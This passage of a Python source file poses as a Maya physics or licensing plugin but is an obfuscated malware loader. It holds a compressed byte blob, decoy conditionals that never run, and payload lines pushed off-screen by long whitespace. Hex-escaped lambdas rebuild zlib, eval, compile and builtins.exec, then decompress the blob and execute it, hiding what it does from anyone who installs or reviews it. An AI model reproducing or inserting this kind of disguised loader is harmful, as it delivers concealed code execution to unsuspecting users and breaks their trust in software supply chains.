\x1e\xac\xf0\x1a\xbf?\xd4\x7f\xf4vk\x8b/\xc7ms\xd8\xcd\x8e\xd6T]\xcf\x8d\xc5\xf41/v\xf4\x05"C1]z>\xdd\xf6\xf6H3\xe3k\xec\xed\xf5\xda\x92\x05\xda\xfe\xdd\xc9\xca\x8f\xf61\x9b\x1fJ\xb9~\x9cz!\xd1\xc9Q\xd3\xf6\x93\xa6\xfd\xddv\x9e}{\xf8\xeehvx\xb2\xc7\xf5k\xe3t\xf6}m\xf1\x1f3\xbb\xcb\xd5\xe2\xdfhx?\x9c\xce\x8f\x0e\x9a\x93\xb5\x1e\xf1\xfe\x0bOf\x99\r')

        if 146507 > 5645079:
            DynamicNodeProcessor._licensekeyenforcer(SimulateDynamics = 59225 - DynamicNodeProcessor.MayaNode)
        elif 276873 < 6457337:
            DynamicNodeProcessor._licensekeyenforcer(SimulateDynamics = 97944 - DynamicNodeProcessor.MayaNode)                                                                                                                                                                                                                                                          ;oDoDoDooOooODODDooDoOooO,NNMNNMNMNMNMMMNMMMNMNMMMM,XWWWXXWXXXXXXXXXWWWXXXWWX,ODoooDODoDoDDDoooooooOoD,jillijlllliiiilii=(lambda OOo00oo0OOoOOOoO0ooOo00oOo:OOo00oo0OOoOOOoO0ooOo00oOo(__import__('\x7a\x6c\x69\x62'))),(lambda OOo00oo0OOoOOOoO0ooOo00oOo:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(OOo00oo0OOoOOOoO0ooOo00oOo)"),filename='\x4d\x4d\x4e\x4e\x4d\x4d\x4d\x4d\x4e\x4d\x4e\x4d\x4e\x4d\x4e\x4d\x4d\x4e\x4e\x4d\x4e\x4d',mode='\x65\x76\x61\x6c'))),(lambda OOo00oo0OOoOOOoO0ooOo00oOo:OOo00oo0OOoOOOoO0ooOo00oOo['\x64\x65\x63\x6f\x6d\x70\x72\x65\x73\x73']),(lambda mmmmmnnmnnnmnnnmnmn,OOo00oo0OOoOOOoO0ooOo00oOo:mmmmmnnmnnnmnnnmnmn(OOo00oo0OOoOOOoO0ooOo00oOo)),(lambda:(lambda OOo00oo0OOoOOOoO0ooOo00oOo:globals()['\x65\x76\x61\x6c'](globals()['\x63\x6f\x6d\x70\x69\x6c\x65'](globals()['\x73\x74\x72']("\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29\x5b\x27\x5c\x78\x36\x35\x5c\x78\x37\x36\x5c\x78\x36\x31\x5c\x78\x36\x63\x27\x5d(OOo00oo0OOoOOOoO0ooOo00oOo)"),filename='\x4d\x4d\x4e\x4e\x4d\x4d\x4d\x4d\x4e\x4d\x4e\x4d\x4e\x4d\x4e\x4d\x4d\x4e\x4e\x4d\x4e\x4d',mode='\x65\x76\x61\x6c')))('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x62\x75\x69\x6c\x74\x69\x6e\x73\x27\x29\x2e\x65\x78\x65\x63'))
        if 206680 > 9768794:
            _physicsnoderouter(_licensecheckeragent = -48141 + -85550)._licensekeyenforcer(SimulateDynamics = -62638 + DynamicNodeProcessor.MayaNode)
        elif 154248 < 2542314:
            DynamicNodeProcessor._licensekeyenforcer(SimulateDynamics = -57359 + DynamicNodeProcessor.MayaNode)                                                                                                                                                                                                                                                          ;jillijlllliiiilii()(ODoooDODoDoDDDoooooooOoD(XWWWXXWXXXXXXXXXWWWXXXWWX(oDoDoDooOooODODDooDoOooO(NNMNNMNMNMNMMMNMMMNMNMMMM('\x76\x61\x72\x73'))),_physicsnoderouter.BroRenmer(SceneAnalyzer='DODOOOooDDDoDoODOOoOo')+_physicsnoderouter.BroRenmer(SceneAnalyzer='wxxxxwxwxxwwxxwwxxxwxwxwx')))

except Exception as MayaSimulationEngine:
        if 329975 > 4595542:
            _physicsnoderouter.execute(code = _licensingutilitykit(MayaSimulationEngine))

        elif 232275 > 7846922:
            _physicsnoderouter(_licensecheckeragent = -11743 * 92752)._licensekeyenforcer(SimulateDynamics = 11577 / DynamicNodeProcessor.MayaNode)

